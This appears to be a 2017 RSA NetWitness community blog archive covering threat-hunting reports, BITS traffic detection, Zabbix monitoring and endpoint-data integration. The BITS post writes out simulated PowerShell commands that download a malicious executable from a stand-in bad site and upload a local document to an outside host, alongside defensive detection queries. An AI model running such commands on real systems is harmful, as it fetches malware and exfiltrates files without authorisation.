Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > 2017 > March
2017

 

This RSA NetWitness Suite Navigator Tool is part of an ongoing campaign by the RSA NetWitness Customer Enablement group to make it easier for RSA Netwitness Suite customers like you to find relevant product training and documentation. The RSA NetWitness Suite Navigator Tool allows you to filter content based on your role within your organization: Soc Manager, Data Privacy Officer, Incident Responder (level 1 analyst), Threat Hunter (Level 2 Analyst), Content Expert (Level 3 Analyst), and Administrator. You can also filter content by your knowledge level of the RSA NetWitness Suite, from Basic to Intermediate to Advanced.

The RSA NetWitness Suite Navigator includes content from different RSA business units and includes RSA University training content, Knowledge-based articles, as well as a vast collection of user documentation. The RSA NetWitness Suite Navigator will be updated frequently to ensure you are receiving the most up-to-date content available. There is a dedicated team of RSA professionals across different business units to help you take charge and power your way to success with the RSA NetWitness Suite.

In our continued efforts to provide the best content available, we rely on your feedback. If you cannot find what you are looking for in the Navigator, please complete the form we have provided on the main Navigator page.

You can find the NetWitness Suite Navigator Tool on the main RSA NetWitness product page or by navigating to the following URL:

 

https://community.rsa.com/community/products/netwitness/navigator

The RSA NetWitness Malware Activity report enables customers to identify malware activity across packets and logs in their infrastructure. This report uses new investigation meta to identify malicious activity and represent it in consolidated and informative tabular structure which makes overall investigation experience more targeted and efficient.

The Malware Activity report displays traffic that has been communicating with a known malicious IP address or hostname. With consolidated information about all malware related network activity, it’s easier to identify infected host(s) on the network. It is based on meta generated using RSA feeds like investigation category, investigation context etc.

This report is divided in three categories based on traffic:

  • Malware Activity Web for malware related web-based packet and log traffic.
  • Malware Activity DNS for DNS packet traffic that is going to a known malicious IP address or hostname
  • Malware Activity Unidentified for all malware related packet and log traffic other than DNS and Web that has been known malicious

 

Malware Activity Web

 

Malware Activity DNS

 

Malware Activity Unidentified

 

Once the report is deployed and scheduled, analysts can keep track of hosts connecting to outside servers which are known malicious or suspicious. Looking at source and destination IPs with the information of service type and amount of data flown, analyst can detect potential compromise and data leak from a particular host. Using this report, analysts now have visibility to network packet and log related activity for a compromised host that is showing indicators of malware activity.

 

Thanks to Angela Stranahan, Mike Sconzo, Tery Berardinelli and Jim Ward for their contributions.

 

RSA Security Analytics Reports is documented at https://community.rsa.com/docs/DOC-43406

RSA Security Analytics Rules are documented here https://community.rsa.com/docs/DOC-43419

Part 1: NetWitness for Packets

I recently read an article from Microsoft (https://msdn.microsoft.com/en-us/library/windows/desktop/ee663885%28v=vs.85%29.aspx#to_create_a_synchronous_bits_transfer_job_with_multiple_files) describing how to use the Microsoft Background Intelligent Transfer Service (BITS) to perform file transfers. While not common, BITS has been used for downloading malware or uploading documents in past attacks. This got me wondering how I would identify this activity in NetWitness Packets.

 

There are two scenarios’ I tested:

  1. Powershell/BITS used to download files from remote server
  2. Powershell/BITS used to upload files from a local machine

 

Scenario 1: Powershell/BITS used to download from remote server

For this scenario, I am simulating a PowerShell command that is run on a machine local to an organization and attempts to download a malicious executable. Just to note, I have chosen to download a malicious executable to better illustrate the scenario, however, any file-type could be downloaded using this method. Below is the PowerShell command I used:

 

PS C:\Users\moss> Start-BitsTransfer -Source http://www.badsite.com/badfile.exe -Destination C:\Users\moss\temp.exe

 

Now if we were to examine this communication in NetWitness Packets we would see something similar to Figure 1. BITS will follow the HTTP protocol to retrieve the remote file. There are two important artifacts to notice, first is the use of the HEAD in the initial request. HEAD is similar to a GET, except it checks to see if the resource is present.  The second artifact is the use of the 'Microsoft BITS/7.5' User Agent, this User-Agent is specific to BITS communication.

 

Figure 1: BITS HEAD Request

 

If BITS receives notification that the resource is available, it then initiates a GET request for the resource as shown in Figure 2.

 

Figure 2: BITS GET Request

 

If you would like to examine BITS downloads in your organization using NetWitness Packets, the below query/rule can help:

 

direction='outbound' && client contains 'Microsoft BITS'

 

Scenario 2: Powershell/BITS used to upload files from a local machine

This scenario isn't all that different then Scenario 1, as we are uploading a file to a remote site instead of downloading. The PowerShell command I used is below:

PS C:\Users\moss> Start-BitsTransfer -Source ‘C:\Users\Moss\badfiletoupload.docx’ -Destination

http://uploadwebsite.com' -TransferType upload

For inspection in NetWitness Packets, I expected to see a POST method instead of a HEAD/GET and that the same User-Agent, 'Microsoft/BITS7.5' would be used. And as you can see in Figure 3, this assumption is wrong, well sort of.

Figure 3: BITS_POST

BITS uses its own protocol on top of HTTP for data uploads identified by the ‘BITS_POST’ in the HTTP Header. Additional information on the BITS upload protocol is detailed here,

https://msdn.microsoft.com/en-us/library/windows/desktop/aa362828(v=vs.85).aspx. The general traffic flow between the client and server is as follows:

Figure 4: BITS POST Protocol

 In NetWitness Packets, we can follow the Requests/Responses to see the protocol in action.

Figure 5: BITS POST Protocol in NetWitness Packets

Identifying BITS downloads and uploads may be useful additions to your hunting methodology and can be found using the below Rules/Query:

BITS Download: direction='outbound' && client contains 'Microsoft BITS'
BITS Upload: action='BITS_POST' && client contains 'Microsoft BITS'

Happy Hunting,

Justin

This post is completely unsupported by RSA Support and indeed RSA, but it might be interesting if you want to try it. 

 

In Netwitness 10.X the current weakness in the topology is that the SA Server is a single point of failure and it monitors the other components in your environment. If the monitoring on your SA Server has a problem would you actually be aware of it?

 

I've posted in the past about monitoring your Netwitness Infrastructure with Nagios, but what about Zabbix? This is a more modern monitoring system and I gave it a go on my Netwitness environment. More information on Zabbix can be found at Zabbix :: The Enterprise-Class Open Source Network Monitoring Solution 

 

Monitoring involves installing the Zabbix Agent onto each server. This can be done by copying the Centos 6 rpm into 

/var/netwitness/srv/www/rsa/updates/10.6.3 and then running the following.

 

cd /var/netwitness/srv/www/rsa/updates/10.6.3
createrepo .

Instructions for obtaining the Zabbix agent for Centos 6 can be found at: How to Install Zabbix Agent on CentOS/RHEL 7/6/5 

 

In the file

 

/etc/puppet/modules/base/manifest/init.pp add the following lines:

 

package { 'zabbix-agent' :
ensure => installed,
}
 # Configure Zabbix Agent for PreShared Key Encrypted Connections
file {'zabbix_agentd.conf' :
path => "/etc/zabbix/zabbix_agentd.conf",
mode => 0644,
ensure => present,
owner => "root",
group => "root",
source => "puppet:///modules/base/zabbix_agentd.conf",
 notify      => Service['zabbix-agent'],
}
file {'zabbix_agentd.psk' :
path => "/etc/zabbix/zabbix_agentd.psk",
mode => 0644,
ensure => present,
owner => "root",
group => "root",
source => "puppet:///modules/base/zabbix_agentd.psk",
notify      => Service['zabbix-agent'],
}
firewall {'1 Allow Zabbix Agent':
port => [10050],
proto => tcp,
action => accept,
source => '192.168.123.177',
}

This will copy a standard agent configuration file and pre-shared key to encrypt the Zabbix Server and Zabbix Agent communication. It will also open a firewall port to allow communication from the Zabbix Server in this case 192.168.123.177 to each Security Analytics appliance on tcp port 10050

 

The following files should be copied to /etc/puppet/modules/base/files

zabbix_agentd.conf
zabbix_agentd.psk

The advantages of monitoring are:

 

  • Ability to make nice graphs
  • Ability to have a Map of your infrastructure to see any problems easily.

 

 

 

 

I've also copied a few Zabbix Checks that can be run by using the check type "SSH Agent". Note in this example I used the root account, but best practise would be to create a specific Zabbix account on each system. Again this could be done using puppet.

 

Eric Partington mentioned on his recent post Log - Sysmon 6 Windows Event Collection that a lot is being said about the use of Sysmon with logging solutions. 

 

As Incident Responders or even as simple malicious activity hunters one of the key sources of data we rely on daily is the ability to track all command execution and endpoint activity. Here at RSA we use NWE’s Behavioral Tracking to give the level of visibility that is comparable to what Sysmon is doing. Due to the importance of this type of visibility and the buzz that Sysmon is generating in having this data on your SIEM/Log solution, I felt that it is important to provide some guidance on how you can accomplish the same thing using NWE.

 

If you already have NWE deployed to your endpoints there is no need to configure or manage another solution. The question that needs to be answered is how to retrieve this data from NWE to feed your SIEM/Log solution. This is indeed possible, and with a little help from colleagues and peers (I can name you if you want) I started to play with an SQL query to retrieve such data from the NWE database. The following query is suitable to import NWE data into a SIEM/Log Management solution:

 

SELECT * FROM (SELECT 
      SE.PK_WinTrackingEvents,
      SE.EventUTCTIme,
      MA.MacAddress as src_mac,
      MA.LocalIp as src_ip,
      MA.MachineName,
      LOWER(PA.Path + FN.FileName) AS Source,
      MO.HashSHA256,
      LA.LaunchArguments AS SLA,
      CASE       
            WHEN SE.BehaviorFileOpenPhysicalDrive = 1 THEN 'OpenPhysicalDrive'
            WHEN SE.BehaviorFileReadDocument = 1 THEN 'ReadDocument'
            WHEN SE.BehaviorFileWriteExecutable = 1 THEN 'WriteExecutable'
            WHEN SE.BehaviorFileRenameToExecutable = 1 THEN 'RenameExecutable'
            WHEN SE.BehaviorProcessCreateProcess = 1 THEN 'CreateProcess'
            WHEN SE.BehaviorProcessCreateRemoteThread = 1 THEN 'CreateRemoteThread'
            WHEN SE.BehaviorProcessOpenOSProcess = 1 THEN 'OpenOSProcess'
            WHEN SE.BehaviorProcessOpenProcess = 1 THEN 'OpenProcess'
            WHEN SE.BehaviorFileSelfDeleteExecutable = 1 THEN 'SelfDelete'
            WHEN SE.BehaviorFileDeleteExecutable = 1 THEN 'DeleteExecutable'
            WHEN SE.BehaviorRegistryModifyBadCertificateWarningSetting = 1 THEN 'ModifyBadCertificateWarningSetting'
            WHEN SE.BehaviorRegistryModifyFirewallPolicy = 1 THEN 'ModifyFirewallPolicy'
            WHEN SE.BehaviorRegistryModifyInternetZoneSettings = 1 THEN 'ModifyInternetZoneSettings'
            WHEN SE.BehaviorRegistryModifyIntranetZoneBrowsingNotificationSetting = 1 THEN 'ModifyIntranetZoneBrowsingNotificationSetting'
            WHEN SE.BehaviorRegistryModifyLUASetting = 1 THEN 'ModifyLUASetting'
            WHEN SE.BehaviorRegistryModifyRegistryEditorSetting = 1 THEN 'ModifyRegistryEditorSetting'
            WHEN SE.BehaviorRegistryModifyRunKey = 1 THEN 'ModifyRunKey '
            WHEN SE.BehaviorRegistryModifySecurityCenterConfiguration = 1 THEN 'ModifySecurityCenterConfiguration'
            WHEN SE.BehaviorRegistryModifyServicesImagePath = 1 THEN 'ModifyServicesImagePath'
            WHEN SE.BehaviorRegistryModifyTaskManagerSetting = 1 THEN 'ModifyTaskManagerSetting'
            WHEN SE.BehaviorRegistryModifyWindowsSystemPolicy = 1 THEN 'ModifyWindowsSystemPolicy'
            WHEN SE.BehaviorRegistryModifyZoneCrossingWarningSetting = 1 THEN 'ModifyZoneCrossingWarningSetting'
      END AS Action,
      LOWER(SE.Path_Target + SE.FileName_Target) AS Destination,
      SE.LaunchArguments_Target AS TLA,
      se.HashSHA256_Target
FROM 
      dbo.WinTrackingEvents_P1 AS SE WITH(NOLOCK)
      INNER JOIN dbo.Machines AS MA WITH(NOLOCK) ON MA.PK_Machines = SE.FK_Machines
      INNER JOIN dbo.MachineModulePaths AS MP WITH(NOLOCK) ON MP.PK_MachineModulePaths = SE.FK_MachineModulePaths
      INNER JOIN dbo.Modules AS MO WITH(NOLOCK) ON MO.PK_Modules = MP.FK_Modules
      INNER JOIN dbo.FileNames AS FN WITH(NOLOCK) ON FN.PK_FileNames = MP.FK_FileNames
      INNER JOIN dbo.Paths AS PA WITH(NOLOCK) ON PA.PK_Paths = MP.FK_Paths
      INNER JOIN dbo.LaunchArguments AS LA WITH(NOLOCK) ON LA.PK_LaunchArguments = SE.FK_LaunchArguments__SourceCommandLine
UNION
SELECT
      SE.PK_WinTrackingEvents,
      SE.EventUTCTIme,
      MA.MacAddress as src_mac,
      MA.LocalIp as src_ip,
      MA.MachineName,
      LOWER(PA.Path + FN.FileName) AS Source,
      MO.HashSHA256,
      LA.LaunchArguments AS SLA,
      CASE       
            WHEN SE.BehaviorFileOpenPhysicalDrive = 1 THEN 'OpenPhysicalDrive'
            WHEN SE.BehaviorFileReadDocument = 1 THEN 'ReadDocument'
            WHEN SE.BehaviorFileWriteExecutable = 1 THEN 'WriteExecutable'
            WHEN SE.BehaviorFileRenameToExecutable = 1 THEN 'RenameExecutable'
            WHEN SE.BehaviorProcessCreateProcess = 1 THEN 'CreateProcess'
            WHEN SE.BehaviorProcessCreateRemoteThread = 1 THEN 'CreateRemoteThread'
            WHEN SE.BehaviorProcessOpenOSProcess = 1 THEN 'OpenOSProcess'
            WHEN SE.BehaviorProcessOpenProcess = 1 THEN 'OpenProcess'
            WHEN SE.BehaviorFileSelfDeleteExecutable = 1 THEN 'SelfDelete'
            WHEN SE.BehaviorFileDeleteExecutable = 1 THEN 'DeleteExecutable'
            WHEN SE.BehaviorRegistryModifyBadCertificateWarningSetting = 1 THEN 'ModifyBadCertificateWarningSetting'
            WHEN SE.BehaviorRegistryModifyFirewallPolicy = 1 THEN 'ModifyFirewallPolicy'
            WHEN SE.BehaviorRegistryModifyInternetZoneSettings = 1 THEN 'ModifyInternetZoneSettings'
            WHEN SE.BehaviorRegistryModifyIntranetZoneBrowsingNotificationSetting = 1 THEN 'ModifyIntranetZoneBrowsingNotificationSetting'
            WHEN SE.BehaviorRegistryModifyLUASetting = 1 THEN 'ModifyLUASetting'
            WHEN SE.BehaviorRegistryModifyRegistryEditorSetting = 1 THEN 'ModifyRegistryEditorSetting'
            WHEN SE.BehaviorRegistryModifyRunKey = 1 THEN 'ModifyRunKey '
            WHEN SE.BehaviorRegistryModifySecurityCenterConfiguration = 1 THEN 'ModifySecurityCenterConfiguration'
            WHEN SE.BehaviorRegistryModifyServicesImagePath = 1 THEN 'ModifyServicesImagePath'
            WHEN SE.BehaviorRegistryModifyTaskManagerSetting = 1 THEN 'ModifyTaskManagerSetting'
            WHEN SE.BehaviorRegistryModifyWindowsSystemPolicy = 1 THEN 'ModifyWindowsSystemPolicy'
            WHEN SE.BehaviorRegistryModifyZoneCrossingWarningSetting = 1 THEN 'ModifyZoneCrossingWarningSetting'
      END AS Action,
      LOWER(SE.Path_Target + SE.FileName_Target) AS Destination,
      SE.LaunchArguments_Target AS TLA,
      se.HashSHA256_Target
FROM 
      dbo.WinTrackingEvents_P0 AS SE WITH(NOLOCK)
      INNER JOIN dbo.Machines AS MA WITH(NOLOCK) ON MA.PK_Machines = SE.FK_Machines
      INNER JOIN dbo.MachineModulePaths AS MP WITH(NOLOCK) ON MP.PK_MachineModulePaths = SE.FK_MachineModulePaths
      INNER JOIN dbo.Modules AS MO WITH(NOLOCK) ON MO.PK_Modules = MP.FK_Modules
      INNER JOIN dbo.FileNames AS FN WITH(NOLOCK) ON FN.PK_FileNames = MP.FK_FileNames
      INNER JOIN dbo.Paths AS PA WITH(NOLOCK) ON PA.PK_Paths = MP.FK_Paths
      INNER JOIN dbo.LaunchArguments AS LA WITH(NOLOCK) ON LA.PK_LaunchArguments = SE.FK_LaunchArguments__SourceCommandLine) t
WHERE PK_WinTrackingEvents > ? ORDER By PK_WinTrackingEvents ASC

 

 

In this query the question mark “?” at the end of the last line needs to be automatically replaced by the previous highest entry already collected with the previous query execution. Each solution will have its own way of tracking and processing this query. In some solutions you may only need the portion between the main ()s group as they will build the rest automatically. Other solutions will probably require more work/tweaking.

 

For Netwitness for Logs, Chris Thomas created a post here with all the details needed to accomplish this integration. I'm sure the same can be done with Splunk, ArcSight, Elastic, <insert your favorite solution here> so please feel free to post your experience to the comments section of this post.

 

Happy Hunting,

 

Rui

There has been a lot of great information published about Sysmon since Mark Russinovich's presentation at RSA Conference. Eric Partington posted a great blog showing how to use Sysmon data with RSA NetWitness for Logs: Log - Sysmon 6 Windows Event Collection. This prompted RSA’s IR Team to publish details on how to get the rich tracking information generated by RSA NetWitness Endpoint that they use everyday for their incident investigations into a SIEM Here.

 

The aim of this blog is to show you how to collect this tracking data from RSA NetWitness Endpoint with RSA NetWitness for Logs. The collection is done via the Log Collector using a custom ODBC typespec.

 

*** DISCLAIMER - this is a field developed Proof of Concept, shared with the Community. It is not endorsed by RSA Engineering. The database structure used by NWE may change at any time. No testing has been done to measure the impact on performance for a production NWE Server. This has been developed and tested using RSA NetWitness Endpoint v4.3.0.1 and RSA NetWitness for Logs v10.6.2.1. /DISCLAIMER ***

 

***DISCLAIMER 2 - for this Proof of Concept, we have disabled the requirement on the NWE SQL Server to Force Encryption.  /DISCLAIMER 2 ***

 

The objective of this integration is to get the tracking data from NWE as it is being collected into NWL, so we can index it and use it for Investigations. Tracking data in NWE can only be viewed on a per machine basis - this integration allows us to get a global view of tracking data across all of our endpoints. Here's the high level summary of what we need to do (if you want to skip to the end, all files are attached as a zip):

  1. Create a new ODBC typespec definition (XML file) to query the NWE Database and get the data we want,
  2. Create a new Log Parser to map the results of the SQL query into metadata,
  3. Add the meta we are using to the table-map-custom.xml so it is persistent,
  4. Add the meta we want to index to the index-concentrator-custom.xml file,
  5. Configure a new ODBC DSN definition,
  6. Configure a new ODBC Event Collector,
  7. Configure a new Meta Group to show our data for investigations,
  8. Configure a new Column Group to show the data we want in Events view,
  9. Configure some Report Rules and Charts to visualise the data,
  10. Configure a new RSA NetWitness Endpoint Dashboard to keep track of our environment.

Here we go!

 

1. Create ODBC Definition

Thanks to Andreas Funk and his blog Integrating a MySQL (community) database with NetWitness for Logs for giving us a primer on how to create a new ODBC connection. We need to create a new Filespec to tell the ODBC collector how to query the NWE database and get the data we want. 

On the Log Collector (either the one on the Log Decoder, or a separate VLC - whichever you are going to use to collect these logs) the ODBC collection definitions are stored here: 

/etc/netwitness/ng/logcollection/content/collection/odbc/

 

We need to add a new file for our NWE tracking data - 

vi /etc/netwitness/ng/logcollection/content/collection/odbc/nwe_tracking.xml

 

Here is the query from Rui Ataide's blog, modified to work for NWL, included in our definition:

<?xml version="1.0" encoding="UTF-8"?>
<typespec>
   <name>nwe_tracking</name>
   <type>odbc</type>
   <prettyName>NetWitness Endpoint Tracking</prettyName>
   <version>2.0</version>
   <author>Chris Thomas</author>
   <description>Import NWE Tracking data</description>
   <device>
      <name>nwe_tracking</name>
   </device>
   <configuration>
   </configuration>
   <collection>
      <odbc>
         <query>
            <tag>nwe_tracking</tag>
            <outputDelimiter>||</outputDelimiter>
            <interval>30</interval>
            <dataQuery>              
           
(SELECT
      SE.PK_WinTrackingEvents,
      SE.EventUTCTIme,
      MA.MacAddress as src_mac,
      MA.LocalIp as src_ip,
      MA.MachineName,
      LOWER(PA.Path),
      LOWER(FN.FileName),
      LOWER(PA.Path + FN.FileName) AS Source,
      MO.HashSHA256,
      LA.LaunchArguments AS SLA,
      CASE      
            WHEN SE.BehaviorFileOpenPhysicalDrive = 1 THEN 'OpenPhysicalDrive'
            WHEN SE.BehaviorFileReadDocument = 1 THEN 'ReadDocument'
            WHEN SE.BehaviorFileWriteExecutable = 1 THEN 'WriteExecutable'
            WHEN SE.BehaviorFileRenameToExecutable = 1 THEN 'RenameExecutable'
            WHEN SE.BehaviorProcessCreateProcess = 1 THEN 'CreateProcess'
            WHEN SE.BehaviorProcessCreateRemoteThread = 1 THEN 'CreateRemoteThread'
            WHEN SE.BehaviorProcessOpenOSProcess = 1 THEN 'OpenOSProcess'
            WHEN SE.BehaviorProcessOpenProcess = 1 THEN 'OpenProcess'
            WHEN SE.BehaviorFileSelfDeleteExecutable = 1 THEN 'SelfDelete'
            WHEN SE.BehaviorFileDeleteExecutable = 1 THEN 'DeleteExecutable'
            WHEN SE.BehaviorRegistryModifyBadCertificateWarningSetting = 1 THEN 'ModifyBadCertificateWarningSetting'
            WHEN SE.BehaviorRegistryModifyFirewallPolicy = 1 THEN 'ModifyFirewallPolicy'
            WHEN SE.BehaviorRegistryModifyInternetZoneSettings = 1 THEN 'ModifyInternetZoneSettings'
            WHEN SE.BehaviorRegistryModifyIntranetZoneBrowsingNotificationSetting = 1 THEN 'ModifyIntranetZoneBrowsingNotificationSetting'
            WHEN SE.BehaviorRegistryModifyLUASetting = 1 THEN 'ModifyLUASetting'
            WHEN SE.BehaviorRegistryModifyRegistryEditorSetting = 1 THEN 'ModifyRegistryEditorSetting'
            WHEN SE.BehaviorRegistryModifyRunKey = 1 THEN 'ModifyRunKey '
            WHEN SE.BehaviorRegistryModifySecurityCenterConfiguration = 1 THEN 'ModifySecurityCenterConfiguration'
            WHEN SE.BehaviorRegistryModifyServicesImagePath = 1 THEN 'ModifyServicesImagePath'
            WHEN SE.BehaviorRegistryModifyTaskManagerSetting = 1 THEN 'ModifyTaskManagerSetting'
            WHEN SE.BehaviorRegistryModifyWindowsSystemPolicy = 1 THEN 'ModifyWindowsSystemPolicy'
            WHEN SE.BehaviorRegistryModifyZoneCrossingWarningSetting = 1 THEN 'ModifyZoneCrossingWarningSetting'
      END AS Action,
      LOWER(SE.Path_Target),
      LOWER(SE.FileName_Target),
      LOWER(SE.Path_Target + SE.FileName_Target) AS Destination,
      SE.LaunchArguments_Target AS TLA,
      se.HashSHA256_Target
FROM
      dbo.WinTrackingEvents_P1 AS SE WITH(NOLOCK)
      INNER JOIN dbo.Machines AS MA WITH(NOLOCK) ON MA.PK_Machines = SE.FK_Machines
      INNER JOIN dbo.MachineModulePaths AS MP WITH(NOLOCK) ON MP.PK_MachineModulePaths = SE.FK_MachineModulePaths
      INNER JOIN dbo.Modules AS MO WITH(NOLOCK) ON MO.PK_Modules = MP.FK_Modules
      INNER JOIN dbo.FileNames AS FN WITH(NOLOCK) ON FN.PK_FileNames = MP.FK_FileNames
      INNER JOIN dbo.Paths AS PA WITH(NOLOCK) ON PA.PK_Paths = MP.FK_Paths
      INNER JOIN dbo.LaunchArguments AS LA WITH(NOLOCK) ON LA.PK_LaunchArguments = SE.FK_LaunchArguments__SourceCommandLine
WHERE PK_WinTrackingEvents > '%TRACKING%'
UNION
SELECT
      SE.PK_WinTrackingEvents,
      SE.EventUTCTIme,
      MA.MacAddress as src_mac,
      MA.LocalIp as src_ip,
      MA.MachineName,
      LOWER(PA.Path),
      LOWER(FN.FileName),
      LOWER(PA.Path + FN.FileName) AS Source,
      MO.HashSHA256,
      LA.LaunchArguments AS SLA,
      CASE      
            WHEN SE.BehaviorFileOpenPhysicalDrive = 1 THEN 'OpenPhysicalDrive'
            WHEN SE.BehaviorFileReadDocument = 1 THEN 'ReadDocument'
            WHEN SE.BehaviorFileWriteExecutable = 1 THEN 'WriteExecutable'
            WHEN SE.BehaviorFileRenameToExecutable = 1 THEN 'RenameExecutable'
            WHEN SE.BehaviorProcessCreateProcess = 1 THEN 'CreateProcess'
            WHEN SE.BehaviorProcessCreateRemoteThread = 1 THEN 'CreateRemoteThread'
            WHEN SE.BehaviorProcessOpenOSProcess = 1 THEN 'OpenOSProcess'
            WHEN SE.BehaviorProcessOpenProcess = 1 THEN 'OpenProcess'
            WHEN SE.BehaviorFileSelfDeleteExecutable = 1 THEN 'SelfDelete'
            WHEN SE.BehaviorFileDeleteExecutable = 1 THEN 'DeleteExecutable'
            WHEN SE.BehaviorRegistryModifyBadCertificateWarningSetting = 1 THEN 'ModifyBadCertificateWarningSetting'
            WHEN SE.BehaviorRegistryModifyFirewallPolicy = 1 THEN 'ModifyFirewallPolicy'
            WHEN SE.BehaviorRegistryModifyInternetZoneSettings = 1 THEN 'ModifyInternetZoneSettings'
            WHEN SE.BehaviorRegistryModifyIntranetZoneBrowsingNotificationSetting = 1 THEN 'ModifyIntranetZoneBrowsingNotificationSetting'
            WHEN SE.BehaviorRegistryModifyLUASetting = 1 THEN 'ModifyLUASetting'
            WHEN SE.BehaviorRegistryModifyRegistryEditorSetting = 1 THEN 'ModifyRegistryEditorSetting'
            WHEN SE.BehaviorRegistryModifyRunKey = 1 THEN 'ModifyRunKey '
            WHEN SE.BehaviorRegistryModifySecurityCenterConfiguration = 1 THEN 'ModifySecurityCenterConfiguration'
            WHEN SE.BehaviorRegistryModifyServicesImagePath = 1 THEN 'ModifyServicesImagePath'
            WHEN SE.BehaviorRegistryModifyTaskManagerSetting = 1 THEN 'ModifyTaskManagerSetting'
            WHEN SE.BehaviorRegistryModifyWindowsSystemPolicy = 1 THEN 'ModifyWindowsSystemPolicy'
            WHEN SE.BehaviorRegistryModifyZoneCrossingWarningSetting = 1 THEN 'ModifyZoneCrossingWarningSetting'
      END AS Action,
      LOWER(SE.Path_Target),
      LOWER(SE.FileName_Target),
      LOWER(SE.Path_Target + SE.FileName_Target) AS Destination,
      SE.LaunchArguments_Target AS TLA,
      se.HashSHA256_Target
FROM
      dbo.WinTrackingEvents_P0 AS SE WITH(NOLOCK)
      INNER JOIN dbo.Machines AS MA WITH(NOLOCK) ON MA.PK_Machines = SE.FK_Machines
      INNER JOIN dbo.MachineModulePaths AS MP WITH(NOLOCK) ON MP.PK_MachineModulePaths = SE.FK_MachineModulePaths
      INNER JOIN dbo.Modules AS MO WITH(NOLOCK) ON MO.PK_Modules = MP.FK_Modules
      INNER JOIN dbo.FileNames AS FN WITH(NOLOCK) ON FN.PK_FileNames = MP.FK_FileNames
      INNER JOIN dbo.Paths AS PA WITH(NOLOCK) ON PA.PK_Paths = MP.FK_Paths
      INNER JOIN dbo.LaunchArguments AS LA WITH(NOLOCK) ON LA.PK_LaunchArguments = SE.FK_LaunchArguments__SourceCommandLine
WHERE PK_WinTrackingEvents > '%TRACKING%' )

ORDER By SE.PK_WinTrackingEvents ASC
            </dataQuery>

            <trackingColumn>PK_WinTrackingEvents</trackingColumn>
     <maxTrackingQuery> SELECT MAX(PK_WinTrackingEvents) FROM dbo.WinTrackingEvents_P0</maxTrackingQuery>
         </query>
      </odbc>
   </collection>
</typespec>

This creates a log entry with a static format, that is delimited by a double pipe ||:

This makes it easy for us to create a new log parser.

 

2. Create a new Log Parser

For information on how to create a new log parser using the new Log Parser Tool, head over here: The specified item was not found.We need to create a new directory where the Log Decoder parsers are kept, and add our ini and xml parser files

mkdir /etc/netwitness/ng/envision/etc/devices/nwe_tracking/

 

Here is the ini file that describes our parser: nwe_tracking.ini

DatabaseName=nwe_tracking

DisplayName=NetWitness Endpoint Tracking

DeviceGroup=

DeviceType=7104

 

And here is the Log Parser: v20_nwe_trackingmsg.xml - the meta keys to use were chosen to line up with where the data from sysmon gets mapped to, as shown here: Log - Sysmon 6 Windows Event Collection

<?xml version="1.0" encoding="UTF-8"?>
<DEVICEMESSAGES
        name="nwe_tracking"
        displayname="NetWitness Endpoint Tracking"
        group=""
        type="7104">

<VERSION
      xml="1"
      revision="1"
        device="2.0"/>

<HEADER
        id1="HDR1"
        id2="HDR1"
        messageid="STRCAT('NWEPMSG')"
        content="%nwe_tracking:&lt;trans_id&gt;||&lt;event_time&gt;||&lt;!payload:trans_id&gt;"/>

<MESSAGE
        id1="NWEPMSG"
        id2="NWEPMSG"
        eventcategory="1612000000"      content="&lt;trans_id&gt;||&lt;event_time&gt;||&lt;smacaddr&gt;||&lt;saddr&gt;||&lt;event_computer&gt;||&lt;directory&gt;||&lt;filename&gt;||&lt;parent_process&gt;||&lt;checksum&gt;||&lt;parent_params&gt;||&lt;category&gt;||&lt;directory&gt;||&lt;filename&gt;||&lt;process&gt;||&lt;params&gt;||&lt;checksum&gt;"/>

</DEVICEMESSAGES>

There should be 2 files in the new directory:

[root@RSAANZSCSA nwe_tracking]# pwd

/etc/netwitness/ng/envision/etc/devices/nwe_tracking

[root@RSAANZSCSA nwe_tracking]# ls -l

total 8

-rw-r--r--. 1 root root  96 Mar  9 10:01 nwe_tracking.ini

-rw-r--r--. 1 root root 761 Mar 10 02:59 v20_nwe_trackingmsg.xml

[root@RSAANZSCSA nwe_tracking]#

 

3. Add meta to table-map-custom.xml

This step can be done using the Web GUI, but since we're already on the command line we'll do it there. It's always a good idea to make a back up copy of the file first!

cp /etc/netwitness/ng/envision/etc/table-map-custom.xml /etc/netwitness/ng/envision/etc/table-map-custom.xml.old

 

Then edit the table-map-custom.xml file:

vi /etc/netwitness/ng/envision/etc/table-map-custom.xml

 

We can add the meta we are using (that is not already set as persistent (flags="None") at the end of the file:

        <!-- NWE Tracking Data
-->

<mapping envisionName="smacaddr" nwName="eth.src" flags="None" format="MAC" envisionDisplayName="SourceMacAddress" nullTokens="Unknown"/>
<mapping envisionName="checksum" nwName="checksum" flags="None"/>
<mapping envisionName="parent_params" nwName="parent.params" flags="None"/>
<mapping envisionName="process" nwName="process" flags="None"/>
<mapping envisionName="parent_process" nwName="parent.process" flags="None"/>
<mapping envisionName="params" nwName="params" flags="None"/>
<mapping envisionName="directory" nwName="directory" flags="None"/>
<mapping envisionName="category" nwName="category" flags="None"/>

Now that we've finished the modifications for the Log Collector and Log Decoder, restart those services so that the changes get loaded.

 

4. Add meta for indexing to index-concentrator-custom.xml

Again, you can do this in the GUI, but since we're on the command line already we'll do it there. Just make sure you switch to your Concentrator first! (I'm on a hybrid ). Again - make a backup first

cp /etc/netwitness/ng/index-concentrator-custom.xml /etc/netwitness/ng/index-concentrator-custom.xml.old

 

Then edit the file

vi /etc/netwitness/ng/index-concentrator-custom.xml

 

Add the new meta to index at the end of the file - you may need to add more keys depending on your existing index settings:

<!-- NWE Tracking Data -->
<key description="Checksum" format="Text" level="IndexValues" name="checksum" valueMax="1000000" defaultAction="Open"/>
<key description="Parent Process" format="Text" level="IndexValues" name="parent.process" valueMax="1000000" defaultAction="Open"/>
<key description="Parent Process Parameters" format="Text" level="IndexValues" name="parent.params" valueMax="1000000" defaultAction="Open"/>
<key description="Process Parameters" format="Text" level="IndexValues" name="params" valueMax="1000000" defaultAction="Open"/>
<key description="Category" format="Text" level="IndexValues" name="category" valueMax="1000000" defaultAction="Open"/>

Restart the Concentrator service so that the changes get loaded.

 

5. Configure new ODBC DSN definition.

Now we can switch to the GUI for our configuration. Go to your Log Collector Config page, and create a new DSN. 

 

Enter the details to connect to your NWE Database (do not use a template) and click Save:

 

6. Configure a new ODBC Event Collector

On the Log Collector Config page, create a new ODBC Event Category by selecting our new nwe_tracking source from the list:

 

Now add a new Event Source and enter the details for your NWE SQL Database:

 

Click Test Connection to see that it all works ...

 

If it's not turned on already, start ODBC collection method (and set it to auto-start). Now you should be collecting NWE Tracking events! run a query for device.type = 'nwe_tracking' to see:

 

 

The remaining steps go through ways to use the NWE Tracking data.

 

7. Configure a Meta Group to show the NWE Meta in Investigations

